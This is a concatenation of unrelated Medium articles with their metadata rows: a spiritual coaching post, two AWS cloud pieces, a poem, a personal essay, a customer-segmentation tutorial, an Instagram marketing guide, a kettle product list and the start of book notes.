Also, I really don’t want to be associated with some spiritual peeps because they freaking ARE loopy and weird and just plain ineffective as they sit on their awesome arses waiting for their prince to come!
And I got scared that if I made too much of my spirituality then as a coach, I just might attract only those looking for a spiritual magic bullet!
All in all, I felt I had to hide that part of me…
But my problem was that I KNEW that the power to create wealth comes from connection and deliberate action…
And the ones I am here to support need to KNOW that…
Because they hold themselves back because they think that to live out their big vision — the impact AND the wealth — is to forego any relationship with God but that is just religion talking…
Your vision is your permission.
You have that big idea because you are EXACTLY the person to make it happen!
It would also benefit you to be in real connection to the ONE who planted the vision within you, don’t you think?
Not because you will be punished if you don’t…
But simply because you want to!
You know there is more, so much more to you than is currently showing up in this unconnected version of you…
So why the heck not tap into that power that is fully and freely available to you?
Why not give up the need to toe party lines that have not fit in a long time?
Be honest! You don’t feel the evidence of what ‘they’ said you would feel…
You still feel empty inside, even though you have been jumping through the hoops for so long now…
I know this because I jumped through many a hoop in the period where I was distracted from my deep connection with the Divine. I had to walk away for a season from all the religious institutions in order to find myself again and I could only find myself in the Divine because you and I know, we are incomplete without the connection.
Yes, you can live a good enough life without acknowledging connection…
And people do…
In fact, a lot of non-spiritual people seem to fare better than spiritual people do because they are not bound up in all the religious nonsense.
And no, this is not a call to leave all religious institutions right now! Of course not.
However, it is a call to connect again with love…
Pure, unfiltered love…
Without all the limits and rules and man-made, limiting traditions and laws…
Because it is from that place of being connected with pure love, that you are MOST powerful!
It is easy to be brave when you KNOW you are loved…
It is easy to handle whatever when you KNOW you are loved…
It is easy to follow your intuition with no fear of what others will think of you when you KNOW you are loved…
It is easy to make decisions when you know that you are loved and that you are being taken care of and no mistake is final…
It is easy to dance with fear when you know it is not real and that you are loved…
It is easy to deliberately design your life when you realise that you are loved and that your vision is your permission…
Get connected…
Learn how to tap into the Divine powerfully…
Unlimited wisdom, understanding AND love is found in connection…
And it is a choice.
You will not go to hell if you choose to be without connection…
But it just makes no sense to be apart from the One who spoke you into life!
Make real connection with Source a priority as you seek to live a deliberately designed life of significance and luxury…
I am giving away my book, for free, at the moment. The Amazon Bestselling ‘Deliberate Millionaire’s FREEDOM book: Live free, wealthy and on purpose — Stop living for the weekend and start doing what you want when you want…deliberately’ Let this book help you release old ways of thinking that keep you trapped on a lower level than what is possible for you. — Pop over to http://RosemaryNonnyKnight.com/bookfree
Much Amazing Love!
❤ | https://medium.com/the-deliberate-millionaire/unlimited-power-from-within-is-yours-if-you-will-choose-it-4b3fdcd5c37b | ['Rosemary Nonny Knight'] | 2020-12-21 20:47:30.736000+00:00 | ['Spiritual Growth', 'Personal Growth', 'Spirituality', 'Inspiration', 'Self Love'] |
CloudWatch Metrics Explorer | Using the metrics explorer to have a birds-eye view of how my system functioned over the last 13 months.
December 2020 — AWS released a new way to explore metrics across various dimensions. This is the Metrics Explorer.
I'm not one to blow my own horn (since I worked on this product), but as a customer of AWS — I love the product.
A bit of background: my side project uses a lot of Lambda functions to crawl the Latvian real estate market. Up till now, it was quite difficult to see any issues in my platform. CloudWatch alarms weren't quite useful as (1) using them adds cost to the project (which I'm trying to keep as frugal as it's possible) and (2) there's only a handful of crawlers which would make me worried if they went down. All the rest can go down for a week or even a month and I wouldn't be losing any data.
So my usual approach was to just take a peek at the CloudWatch metrics page once a month to see if there have been any recurring issues with the not-so-important Lambdas. This is all fine-and-dandy, but it's labor-intensive — to select each and every Lambda (there are hundreds).
But then the Metrics Explorer came along. With it — it's super easy to select a metric I'm interested in (e.g. errors), select a specific Lambda tag, and then split by another tag. This immediately gives a birds-eye view of all the crawlers (grouped by the site they are crawling) and the errors in each of the groups.
Not only that — it makes discovering other metrics super easy too. For example, one of my crawlers was using running a total of ~10m milliseconds per month. But this was not an important crawler, so I could immediately make the judgment call to change the Lambda to run less frequently. This in turn means I would spend less money on it. Just fantastic!
If you're also an AWS customer — I highly recommend checking out the new Metrics Explorer. See for yourself, how using it could help reduce costs, find issues, or just have a birds-eye view of the system you're running.
—
Disclaimer: I am an AWS employee and I worked on the Metrics Explorer product. This article contains only my personal opinion. In no way does it reflect the views of Amazon. | https://medium.com/@matissjanis/cloudwatch-metrics-explorer-b5fa42329343 | ['Matiss Janis Aboltins'] | 2020-12-19 14:36:59.346000+00:00 | ['Lambda', 'AWS', 'Cloudwatch', 'Serverless', 'Amazon'] |
Friends Don’t Let Friends Build Landing Zones | Over the last few years Gerald Bachlmayr and Andrew Khoury have been responsible for building many Landing Zone implementations for a variety of customers across several industries.
In this blog post we’ll explain what a Landing Zone is, why you need one, and how they’re typically built in Enterprise environments. We’ll give you our recommendations for what to focus on in your cloud journey, and explore what happens when you leverage Amazon’s Landing Zone solution instead of building your own.
Why do we need Landing Zones?
Before you can launch production-ready applications in the cloud, your organisation needs to build and configure the fundamental components to support the applications you plan to build and run:
Security & Compliance : consider and build rules for compliance and security
: consider and build rules for compliance and security Account Management : create new AWS Accounts and manage updates to each Account
: create new AWS Accounts and manage updates to each Account Connectivity : consider connectivity between public cloud, on-prem, third parties, public users
: consider connectivity between public cloud, on-prem, third parties, public users Operational : implement backups, monitoring, alerts and tagging
: implement backups, monitoring, alerts and tagging Costs : report on cost and usage with the ability to implement cost optimisation
: report on cost and usage with the ability to implement cost optimisation Segregation of Duty: Can be enforced by account separation
A Landing Zone addresses the above challenges. No matter your situation — whether you are a startup or an enterprise, going for IaaS or all in on serverless, you need some kind of Landing Zone — even if it is a basic stripped down version. A famous thinker — Bob the Builder — once said: “Always start with the foundation”. And that’s just what a Landing Zone provides: a pre-templated foundation for a production-ready cloud platform that covers all of the above pillars.
In addition to fundamental components for the cloud, we’ve seen many enterprise organisations that have the following issues with their on-prem environments:
Data center cannot scale and/or is lacking features
Disaster Recovery is a painful process
Not enough environments
It takes too long to create new environments
Environments are inconsistent
What is a Landing Zone?
You might already know “Landing Zone” by one of it’s many other names in the industry:
Platform
Foundations
Scaffolding
Building blocks
Platform as a service
Factory
Cloud control plane
As you can see Landing Zones come in all sorts of shapes and sizes. It can be tempting to build your Landing Zone manually to save time and make changes quickly (in the short term). Landing Zones can also be partially, or fully automated which will offer long-term benefits of consistency and quicker updates in the future. You may write the code from scratch or bring in a vendor with pre-defined templates or experience. You might also choose to consume your Landing Zone as a service that’s automatically updated for you. All these are considered landing zones.
For the rest of this article we will use the following as our definition of a Landing Zone:
“The creation, configuration, and management of public cloud accounts for enterprise customers, in a way that’s secure and production-ready.”
Undifferentiated Heavy Lifting & Your Value Stream
The effort involved in building a Landing Zone yourself does not providing any immediate value to your business. Landing Zones aren’t your core business offering. Like email servers or your physical office space, Landing Zones are a thing that every business needs, but they don’t provide a unique advantage to your business. In the startup world we’d say “They don’t form part of your Unique Selling Proposition”.
There’s a special name for these email servers, office spaces and Landing Zones. Undifferentiated Heavy Lifting (UHL). By reducing your time and effort spent on UHL your business can focus on the things that provide it the most value. We call this the value stream and we can measure it by looking at how easily you can go from an idea to delivering a valuable product or service (or improvement) to your customer.
A value-stream focused enterprise journey
All too often we see enterprise customers take a waterfall approach to their cloud journey. The risk is a drawn out process that spends too much time in the UHL area — and delivering something that doesn’t meet the needs of its consumers (delivery teams / developers). This takes focus away from the primary objective of the business — delivering a valuable service to your customer. It not uncommon to see these types of projects take many months to complete with no applications deployed.
What’s our recommended approach?
Deliver in smaller increments so that learnings can be fed in as improvements in future iterations
Optimise for building & deploying apps
Offload as much UHL as is possible/practical for your business
This approach has strong ties back to Agile, developing a minimum viable/loveable product (MVP) & continuous improvement driven by a shorter feedback loops.
Letting AWS do the heavy lifting
Using a solution like AWS Landing Zone takes the undifferentiated heavy lifting out of your organisation, allowing you to focus on delivering value to your customers. AWS provides a CloudFormation template that will create a Landing Zone comprising four AWS accounts as shown in the following diagram:
New accounts can be created via the Account Vending Machine, which is a Service Catalog Product created by the Landing Zone. It includes the Security Baseline defined by CloudTrail, Config, VPC FlowLogs, and IAM, notifications.
During the nearly four hour setup time you can lean back and have a look in CloudFormation and CodePipeline to see what resources are created:
Lessons Learnt using AWS Landing Zone
During setup there are still some things that need to be considered or done manually:
Master Account Creation — Is still a manual process and you need to go through the phone number verification process either via SMS or a phone call. Increase Two Service Limits — before you run the CloudFormation template. The two limits that need to be increased are the maximum number of accounts (maybe start with 10) and the maximum number of Stack Sets needs to be larger or equal 50. Email Addresses — You need an email address (or distribution list) for each of the four AWS accounts for the setup process. You cannot reuse email addresses that are already AWS root account holders. Around 4 Hours — is how long the actual deployment process takes. CloudTrail, Config, VPC FlowLogs — are turned on and you will be immediately charged. When we tried it the cost was around AUD 180 — obviously this also depends on the exchange rate. MFA — Having four new account also means that you have four root account holders. Don’t forget to enable MFA straight after the setup.
Things that we learned after we deployed and had been up and running a while:
Account creation for workloads — is super-easy out of AWS Organizations and the billing can be linked to the Master Account Service Catalogue — is a very powerful tool. It enables you to create portfolios for your organisation and add products to the portfolio (i.e. AWS services). By doing this you can centrally control access to services. Drift Management — is per default disabled and you need to enable it for CloudFormation Stacks. Direct Connect support for Transit Gateway — is only available in four regions so far and not yet in Sydney. If you want your paired VPCs (for example in workload accounts outside the Landing Zone) to talk to on-premise then you will need to look for an alternative solution: E.g. via the multi-account Direct Connect feature, which requires the peered account to be part of your AWS Organizations billing setup; or via a virtual private gateway in the peered workload accounts. Level of complexity — The Landing Zone follows deployment best practices. E.g. Keep log files in a seperate account and so on. This brings some complexity and that includes the route tables for your on-premise connectivity after the Direct Connect setup. Logging — CloudTrail, FlowLogs and Config give you a good coverage for your AWS footprint. If you deploy any applications into your Landing Zone you will still need and application logging capability and alerts for your app. Cost optimisation — You still require services like Trusted Advisor to make sure you don’t have unused resources.
Our Tips and Conclusion
We recommend keeping it simple and as much out-of-the-box as possible. Run any other custom built add-ons later on to make upgrades easier.
Review Trusted Advisor after the setup to see if you are being billed for t resources. Stick to the best practices and manage all changes via code — CloudFormation is your second best friend — after AWS Landing Zone, of course.
AWS Landing Zone is not a silver bullet that fits every single use case. The deployment architecture brings some complexity and is therefore better suited for multi-account environments. You will still need to apply best practises and the Well Architected Framework whitepaper will provide you some good guidance. And remember: UHL (undifferentiated heavy lifting) does not help your core business: Friends don’t let friends build Landing Zones.
Authors: Gerald Bachlmayr, Andrew Khoury | https://medium.com/@bachlmayr/https-medium-com-friends-dont-let-friends-build-landing-zones-12f491e0388f | ['Gerald Bachlmayr'] | 2019-06-06 06:46:49.593000+00:00 | ['AWS', 'Cloud', 'Automation', 'Efficiency', 'Platform'] |
the town that raised me | i wandered down
the streets i knew
i had walked them
many times before
each intricately drawn
inside my head
from many moons ago
in the darkness
shops were closed
and dinners done
the town essentially
belonged to me
a winter’s night
with streets aglow
pretty bows
window stories
and lovely trees
adorned with
giant lighted balls
the perfect christmas charm
so strange
it felt like yesterday
i stood in this exact same spot
a serendipitous awe
of christmas magic
to share with all
the folks i loved in this town
the only home i knew
lost hearts were found
most hearts full
all abound
in everyone whose eyes met mine
as we gazed up to the sky
with a childlike wondering eye
christmas time
i am a stranger now
no one knows
who i am
or where i've been
or in this moment
my reasons why
so i took a deep breath
and exhaled a long sigh
i took my time
i visualized the ghosts
i knew
and what was here
and over there
what has changed
and what remained
much the same inside the frame
of years before
a canvas of what used to be
and what is now
i could see the outline
of foggy faces
behind familiar doors
the ghosts that built my life
i take a knee
for now
in old buildings graced
with years
of joy
much strife
the mystery of life
everything now so quiet
i could cut the air
with a butter knife
except for the occasional siren
covid
i presume
maskless in the night
but in my pocket
if in the moment
it is right
my daddy would adjust his glasses
shake his head
look down at the ground
love the people in this town
i shake my head
to agree
the canopy of trees
now drapes over streets
named for
heroes
the lores of war
would bow to now
a sad complacency
footprints to glory
rewind to tears
immense heartbreak
the history of the years
i peeked into jc penny's
empty now
the water fountains
gone
no white
no colored
just a human
way to be
the image always bothered me
as a little girl
i asked my mother why
her answers never pacified
but true and taught me well
amazing what i grew to be
justly
trustful
honestly
beyond words
the light
still beckons me
by the heart
as they twinkle all around
this december eve
i see my parents
walking into loys
oscar says
hello mal what do you need
they smile and laugh
then fade to gray
the times were simple
connection was hello
how are you today
no thank you
and please
but not today
we complicate
which way to grow
divided in our misery
a lack of grace
a haunted morose
a tinge of gray
the world
without missing a note
continues its perfect graceful turn
as some lives begin
and other lives
come to a close
a siren screams
blurs quickly by
again
i watch it pass me by
is it someone i know
from yesterday
or someone i’ve never met
so many ghosts still remain
in the midst of who i am
those i loved
meander by
on the streets
i once called home
it always is
a long goodbye
when it’s time for me to finally go
but none the less
on this winter’s eve
i leave a part of me
in the alley by the door
where vines are growing
everywhere
— patty
Home, the spot of earth supremely blest. | https://medium.com/@pblamp/the-town-that-raised-me-6fd10d235bc | ['Patty Brown'] | 2020-12-11 14:18:31.085000+00:00 | ['Hometown', 'Words', 'Artist', 'Home', 'Poetry'] |
I’ve never been arranged. | I’ve never been arranged.
All’s my life, I’ve been erratic. I don’t know how to describe it. Its such a pain to concentrate. My thoughts wander, like Wonder Woman on a quest. Related but Unrelated words calling out to me without form or function.
I don’t remember things. Attention span? What’s that? Can I eat shawarma with it? I guess not.
When do things like this denigrate from quirks to flaws? After all, I should be making eye contract when you speak. I shouldn’t be distracted by the curve of your bosom, nestled firmly against soft silk. I shouldn’t think about the shape of lips, puckered most times, threatening favors unleashed. Wow, I’m really writing. I’m doing it!
When I was 7, I wrote a book. My handwriting was soo poor, I couldn’t read most parts of it. But writing is time and patience and I had neither. I’ve always envied people with calligraphic writings, gifted by the gods to properly spin aesthetics on paper, the record of time.
Wow. Marijuana is a hell of a drug. I’ve had quite the week, up and downs ( sounds like a sexual activity butt fuck it) it’s been largely cool. No lies therapy been working, I hope.
I actually did it. I wrote words in a clean sheet of paper. I conquered the parched, dead slate that is an empty sheet and filled it with actual human words.
Hurray. | https://medium.com/@senilore8/ive-never-been-arranged-cdbcd48fd6cb | [] | 2019-04-11 22:00:54.691000+00:00 | ['First Post', 'Life', 'First Impressions'] |
Segmentation of Online Shop Customers | Segmentation of Online Shop Customers
With Web Analytics Data and k-Means Clustering
Identifying clusters of similar Customers
In this article I will describe how we can segment customers based on web analytics data from an online shop. Based on the results, on-site personalization can be realized and targeted campaigns can be started for the users in the segments.
On the way there, we will first explore the data in more detail (“Explorative Data Analysis”), then do suitable preprocessing of the data, calculate the segmentation, and finally visualize the clusters. For the calculations we will use Google Colab.
Data
www.kaggle.com
The data is from the Kaggle data platform and contains web tracking data for one month (Oct. 2019) from a large multi-category online shop. Each line in the file represents an event. There are different types of events, such as page views, shopping cart actions, and purchases.
The record contains information about:
event_time / When was the event triggered? (UTC)
event_type / view, shopping cart, purchase
product_id / product ID
category_id / category ID
category_code / category name
brand / brand name
price / price
user_id / customer ID
user_session / session ID
The data is available as a CSV file as an export from a customer database platform for analysis.
Let’s import the data:
First look at the data
There are over 42 million records available for the month of October 2019.
First 10 records of the dataset
This data comes from over 3 million visitors. Over 166,000 different products were purchased.
Example Customer Journey
To show an example of a customer visit, we look at all entries that exist for a certain Session_id and try to interpret them:
Example Customer Journey
The user has viewed several iPhones
An iPhone purchased with 1 click (without shopping cart event)
Considered 2 unknown products of the brand arena
Viewing some Apple headphones and buying one
Afterward he visited a more expensive one, but decided not to buy it.
Example Customer History
To view all actions of a specific user in that month, we filter all records with his User ID.
Example Customer History
Explorative data analysis
How many events were recorded in the web analysis on each day?
Number of events recorded over time in Oct. 2019
Number of event types
Which events occur in the data, how often?
Type of events
The majority of the data consists of page views 96%, the rest of the data consists of shopping cart and purchase actions.
Features of the visitors
We calculate the most important features for each visitor and put them together in a table.
Pageviews
Visits
Number of purchased products
Number of products in the shopping cart
Total expenditure
Expenditure per visit
Pageviews per visit
Shopping cart actions per visit
We filter the purchases from the actions
In the next step, we filter the purchases from the data in order to be able to analyze them more precisely. We save the result in a separate table.
Key figures on purchases
How many products are purchased by one buyer?
What is the average purchase value per buyer?
On average, each buyer makes slightly more than 2 purchases.
The average buying value per buyer is 773.85.
Brand popularity
From which brands are products bought?
Let’s look at a bar chart of the top 10 brands.
Popular Brands
For further analysis, we group the purchases into groups of the most common brands (the top 5). And the rest into a group “Others”.
We calculate for each buyer the share of purchases in the 6 brand categories, and store them in the buyer table.
Product categories
Which product categories are available?
The product category exists in the form of a hierarchical code. We extract the first level and save it as a separate characteristic.
Purchases per top-level category
There are 13 main categories. We add the share of the purchase price in each of the main categories as additional features to the table of buyers.
Adding purchase characteristics to the characteristics of all visitors
We now add the purchase characteristics to the table of all visitors, and thus obtain a table with all visitors and characteristics.
So we have the data of 3,022,290 users, of which we have stored 27 characteristics each.
Limitation of the number of users
In order to keep the calculation of the clusters and the visualization within limits, we will limit ourselves to the first 50,000 users in the following.
Conversion to matrix format for cluster calculation
Before we can start the calculations for clustering, we have to convert the data into the appropriate format as a 2-dimensional array.
Scaling of the data
To ensure that all characteristics are present on a uniform size scale, the matrix is scaled by shifting by the mean value and dividing by the standard deviation.
Calculation of customer segments with different numbers of clusters
The “k-Means method” is used to calculate the segments. It is a method used for cluster analysis, where a set of objects has to form a number of k groups, which have to be given in advance.
Since we are dealing with a very large amount of data, we use the “mini-batch” variant of the procedure, which uses only part of the data in each iteration to calculate the new cluster centers.
How to set the optimal number of clusters (“k-value”)?
We calculate the clustering for different k-values, and then search for the best value. The calculated silhouette score is a measure for the quality of the clustering. The closer the value is to 1, the better the quality of the clustering. We use it to determine the number of clusters.
Silhouette score for different k values
Now we calculate the clusters with the determined optimal cluster number.
And consider the number of customers allocated to each segment.
Cluster sizes
Visualization of the clusters
To get an impression of the clustering, we create a visualization with the method “tSNE”. t-Distributed Stochastic Neighbor Embedding (tSNE) is a technique for dimensionality reduction and is particularly well suited for the visualization of high-dimensional data sets.
Cluster visualization with tSNE
Now let’s calculate the visualization with a much smaller number of clusters. It is much more difficult for the procedure to separate the individual areas into different segments.
tSNE with 5 clusters
Characterization of the segments
In order to enable an interpretation of the segments, we create graphical representations that show, for example, the characteristics of categories for each segment at once as a “radar chart”. This can help to interpret the meaning of the segments.
Categories in clusters
For example, a segment that has high purchase shares in the area of “Children” and “Sports”, and others with purchases in “Electronics”. | https://towardsdatascience.com/segmentation-of-online-shop-customers-8c304a2d84b4 | ['Andreas Stöckl'] | 2020-05-26 22:04:28.135000+00:00 | ['Visualization', 'Data Science', 'Online Marketing', 'Ebusiness', 'Machine Learning'] |
The Seven Step Process to make your Instagram Marketing Strategy Effective | Since its inception in 2010, it’s no surprise that Instagram has been a prominent player in the internet marketing sector. Instagram was once just a simple photo-sharing website, and it has since evolved into a video, e-commerce, and advertising platform juggernaut.
While it appears that fashion influencers were the first to recognize Instagram’s marketing potential, renowned brands and businesses have devoted significant time and resources to figuring out how to provide the most engaging digital experience. Instagram knows they have an incredibly engaging platform. They are one of the most valuable brands globally because of their ability to deliver an amazing experience for their members, whatever their passion may be. Here are some amazing Instagram factoids.
Photo by freestocks.org from Pexels
There are more than 1B active users of Instagram every month
Branded hashtags account for seven out of ten Instagram hashtags
90% of Instagram users follow at least one brand account
30% of Instagram users purchased something they saw on the platform
83% of Instagram users discover a new service or product
Around 71% of businesses in the US are active on Instagram
Now that we’ve established that Instagram is one of the most dominant marketing platforms globally let’s move on to the next step. Let’s put together an Instagram marketing strategy from the ground up.
Step 1: Make Your Objectives Clear.
It is one thing to just “desire development” for your business, but it’s another thing to implement it the right way and get the results you wish. Before you begin developing an Instagram marketing strategy, ask yourself a few simple questions so that you can chart a course:
What am I hoping to achieve with Instagram marketing?
Here, you’ll want to define what you want your Instagram strategy to accomplish about other marketing initiatives you’re running. Whether it’s a part of the continuous discussion with your audience (using Instagram Stories) or becoming an authority figure in your field through follower growth, explicitly defining intent and goals will make it easier to make better marketing decisions.
Who do I want to contact?
You may accurately undertake competition research and analyze your products that the audience is more likely to engage with based on facts and data available online and by carefully identifying your desired audience segment or demography. You can go deeper into your audience’s interests: What type of content do they enjoy? What hashtags are they searching for and using? Are they a part of other online communities? What other brands do they have on their radar?
What does it take to be successful?
It’s critical to have a precise gauge of success that you can strive toward, whether converting followers back to your product, increasing involvement, or expanding your follower count, because each goal will necessitate a slightly different technique.
Step 2: Make Your Instagram Profile More Attractive.
We have divided it into two easy steps:
Choose a photo for your profile that will capture people’s attention
A simple profile image option is your logo if you’re a company. This aids in the development of long-term brand recognition. If you’re an influencer or creating your brand, try using a headshot as your profile image so that your fans can put a face to a name. Whichever option you choose, make sure it provides additional information about you or your company.
Create appealing content
Your brand’s voice is as important as its visual appeal. An Instagram bio informs users about who you are and your services. You might want to share your brand personality and effectively convey its value on your Instagram bio to make it stand out. Captions are as if not more important than the bio. Instagram allows for as much as 2200 characters for captions. So you can either opt for a short caption or a long storytelling concept for your posts. Both are equally effective if the content is relevant, entertaining, informative and compelling. Since people tend to skim while scrolling through, ensure that you capture their interest in the first two lines of your caption.
Use relevant hashtags
Hashtags increase the chances of visibility and discoverability. Instagram allows up to 30 hashtags per post, but using so many will give an impression of spamming, annoy users, and turn them off. Instead, use hashtags relevant to your post that convey your post’s core intent/idea and drive home your niche values. Also, never succumb to using direct persuasion hashtags such as #followme, #likeforlike etc.
Step 3: Make A Content Plan.
It’s critical to have a content strategy in place. Whether you want to focus on high-quality photographs, user-generated content, Instagram Stories, Reels or Live, the content is always the King.
Boost the impact of your content
Simply uploading content to Instagram wouldn’t do the trick. There must be a thought process of making your followers and other users on Instagram view it.
The following are ways to help ensure your target demographic finds your Instagram post:
Collaborations with influencers
Content created by users
Internal tags
Location tags
Hashtags
While each post will most likely necessitate a distinct marketing strategy, it’s critical to factor this into the planning process from the start.
Step 4: Engage With Your Followers
Engaging with people on Instagram is just as important as creating and posting quality content. Pin the most interesting comments, reply to top fan comments, acknowledge constructive feedback, making people believe in your brand. You are simply increasing your presence on the platform and encouraging more engagement on your page.
Step 5: Using Instagram Ads to Expand Your Customer Base
A sure shot way to engage a new audience for your services is to run Instagram advertisements. Please use analytical data to know your target audience by determining their location, demographics such as gender, language and age, preferences such as the other accounts they follow, products purchased, and behavior to make the ad campaign better focused and get better results.
Step 6: Keep Track of Your Progress.
It’s time to analyze how your implemented approach fared now that you’ve specified your goals, curated your content, and gone live. This is, in fact, one of the most crucial parts of the process since it allows you to evaluate your strategy and identify what works best for your business. Understanding your demography, improving your content, and reviewing your overall Instagram marketing effectiveness requires analyzing the data to understand your followers better and make more informed decisions.
Here are a few ways to keep in touch and track your Instagram strategy.
Analyze Instagram’s data
One of the advantages of having an Instagram Business account is free analytical insights. By periodically evaluating which photographs, videos, and stories worked best — and at what times — you’ll begin to notice user tendencies that might help shape your future approach. Suppose you’re still using a personal Instagram account. In that case, there are several free analytics apps available that can fetch, process and present data in a format that helps you understand your Instagram marketing effectiveness.
Create and test various types of content
You can group your metrics into content pillars as you notice patterns. For example, you might discover that publishing an inspirational statement with the hashtag #MondayMotivation on Monday mornings increases engagement. Alternatively, you might discover that your users like to see your products via Instagram Stories on Thursday evenings. You may start to construct a more sophisticated approach that meets marketing objectives like sales or brand awareness by grouping and scheduling your content.
Step 7: Continue to try new things…Instagram Stories
Instagram Stories are short-lived, yet they are crucial in making your marketing strategy even more effective. Stories have a lifespan of 24 hours, and users expect them to be adlib compared to the carefully prepared and curated posts. These stories help bring your customers/followers closer to you and build connections. An impressive story might cause non-followers to follow you. Keep your stories short and sweet, provide consistent content with your brand identity, and although its format is ‘in-the-moment,’ ensure there’s a message to it.
Keep in mind that, like most other social media platforms, Instagram’s algorithm is continuously being tinkered with and made better, which means your strategy should evolve as well. Marketing strategies are mostly perceived as a set of rigid rules. Social media marketing is different and challenging because it’s a fluid guide that should regularly be updated and experimented with. | https://medium.com/@payodatechnologyinc/the-seven-step-process-to-make-your-instagram-marketing-strategy-effective-1033461abff6 | ['Payoda Technology Inc'] | 2021-12-31 12:09:00.269000+00:00 | ['Analytics', 'Social Media Analytics', 'Instagram Marketing', 'Social Media Algorithms', 'Instagram'] |
Top 8 Electric Kettle in India below Rs1000(2021) | Electric kettle reviews India 2021. List Of The Best Electric Kettle Under 1000 .Top 8 Electric kettle .review of electric kettle .electric kettle. best seller electric kettle.
Prepare instant noodles, boil water, cook rice, boil eggs, brew soup, instant tea or coffee with precise temperature settings in a matter of minutes. A great appliance if you need to cook smaller quantities of food. What more, because of its compact size, you can use it while travelling or during family outings. With features like temperature control, automatic cut-off for dry heating, ergonomically handle, stylish glass lid etc., is a must have accessory for your modern kitchen.
Here we have made a list of kettles by quality. Each of these costs less than 1000 rupees, you can see their current prices too.
RANK 1 :
Pigeon by Stovekraft Kessel 1.2-Litre Multi-Purpose Kettle (Silver) 600W, Black
BrandPigeonColourBlackCapacity1.2 litresMaterialSteelVoltage240Wattage600 WattsItem Dimensions LxWxH19.8 x 17.8 x 16.2 Centimeters
BASIC FEATURES
Warranty: 1 year on product
Power: 600 watts ; Power: 230v,50HzAC ; Operating Mode: Corded
Includes: Kettle
360 degree swivel base
Cool touch handle and lid knob
Temperature control
Other Features: Can Meet Various Purpose like Boil Water, Milk, Tea, Coffee, Soup, Cook Noodles, Cook and Steam Eggs, Warm and Reheat Food, Hygienic Concealed Heating Element to Prevent Calcification with Stainless Steel and Aluminium Die Cast Body for Extreme Long Life, Mirror Finish Hygienic Stainless Steel Body with High-grade Flat Glass Lid, Transparent Glass Lid with Stainless Steel Rim, Easy to Clean Wide Mouth, Indication when Switched On
This 1.2 L electric kettle comes with a hygienic concealed heating element which helps prevent calcification while its stainless steel and aluminium die-cast body ensures durability
RANK 2:
Kitchoff WDF-151 Automatic Stainless Steel Electric Kettle
BASIC FEATURES
RAPID BOIL: Boils water faster than microwave or stove top methods, so you can spend less time waiting for your water to heat up. Use it to quickly bring up to 1.5 liters of water to a boil for making anything from tea, instant coffee, and hot cocoa to oatmeal, instant soup, noodles, and more!
DISTINCTIVE DESIGN — If you really want to enjoy a good cup of coffee or tea, normal kettles probably aren’t going to get the job done. The long neck of our 1.5-liter, Sliver & black electric design gives you a slow, controlled and precise flow of water. Based on the theory of fluid engineering, it can efficiently pour into the cup a perfectly brewed coffee that is fully dissolved meaning need to no longer worry about tasting bad coffee
HIGH-QUALITY KETTLE — The interior and body of this kettle are made completely of food-grade stainless steel with zero plastic touching your water. High-quality stainless steel kettles are your best choice for the perfect brew, being very durable, rust-free and easy to clean. In addition, it’s 100% BPA-free for peace of mind
SMART DESIGN — An ergonomic handle made by BPA-free ABS material which is Heat-Resistant and Anti-Slip, no worries of it slipping out of your hands or getting burned while holding it. And easy pull ring design makes the lid easily removable
MAXIMUM SAFETY — Automatic shut off: boil-dry protection means the kettle will turn itself off when water is hot and ready to serve, making it safer than the stove top. The 360-degree swivel base lets you easily lift and serve with it.
RANK 3:
Greenchef 1.2 L Multi Electric Kettle
FEATURES:
Suitable For: Maggi, Pasta & Noodles
Stainless Steel Body
Auto Switch Off
Capacity: 1.2 L
RANK 4:
Kitchoff SPA Automatic Stainless Steel Electric Kettle Heavy Body Extra Large Cattle with Handle
FEATURES:
Performance features: Power indicator light that lights up as it begins to boil water and automatic shut-off after boiling
Great Features:automatic cutoff, 360 Degree Cordless Base, Over Heat Protection
1500 Watts High Grade Stainless Steel Electric Kettle, SS LID with 1.8 liter Water Capacity
Elegant heat resistant handlewhich make it easy to carry anywhere
The concealed element makes it easy to clean as you can now spin your hands through the kettle easily. Also it helps avoiding corrosion.
RANK 5:
Lifelong Power 1.8L Electric Kettle (1500W), Black
1500 Watt High Grade Stainless Steel Electric Kettle, SS LID with 1.8 liter Water Capacity
Extra large capacity: Large-capacity of 1.8 L can help you make multiple cups of tea or coffee at the same time, convenient and time-saving.
Performance features: Power indicator light that lights up as it begins to boil water and automatic shut-off after boiling
Other Features: automatic cutoff, 360 Degree Cordless Base, Over Heat Protection
The concealed element makes it easy to clean as you can now spin your hands through the kettle easily. Also it helps avoiding corrosion.
Warranty: 1 Year Domestic Warranty
Power: 1500 watts; Operating Voltage: 220–240 volts
Includes: 1 Electric Kettle, 1 Manual
RANK 6:
La’Forte Electric Kettle (EKLF001R) 1.8 Ltr Double Wall 100% Food Grade 304 Stainless Steel
Supreme quality — 100% 304 Food Grade Stainless steel double wall electric kettle, this kettle comes with 100 percent stainless steel interior, ss pot, ss lid, ss spout, ss rim. No plastic in contact with hot water. Safe healthy drinking water
Maximum safety — built with an anti-slip grip and heat-resistant handle, you won’t have to worry about this kettle sliding out of your hands or getting burned with. Cool touch exterior, no scalding hazard. Saves energy and safe to use
1.8 Liter capacity, double-wall construction boils water quicker and keeps warm longer
Convenience — cordless technology allows for hassle-independent pouring, also built with 360 degree rotational glass body perfect for precise measurements
1500 watts/220 V
RANK 7:
iBELL MPK120L Premium Stainless Steel Multi Purpose Kettle/Cooker with Inner Pot 1.2 Litre | https://medium.com/@swetahalder517/top-8-electric-kettle-in-india-below-rs1000-2021-ca002d42e7cc | ['Sweta Halder'] | 2020-12-27 15:17:49.664000+00:00 | ['Shopping', 'India', 'Review', 'Electric Kettle', 'Electric Kettle Online'] |
Learn About 42 Rules of Product Management In 13 Minutes! | I just finished reading “42 Rules of Product Management: Learn the Rules of Product Management from Leading Experts from Around the World” by Brian Lawley and Greg Cohen and thought about sharing my notes for those who just want to know the crux of the book in just 13 minutes! These are points that are meant to provide a fundamental understanding of the material and get the conversation going. So, let’s get started!
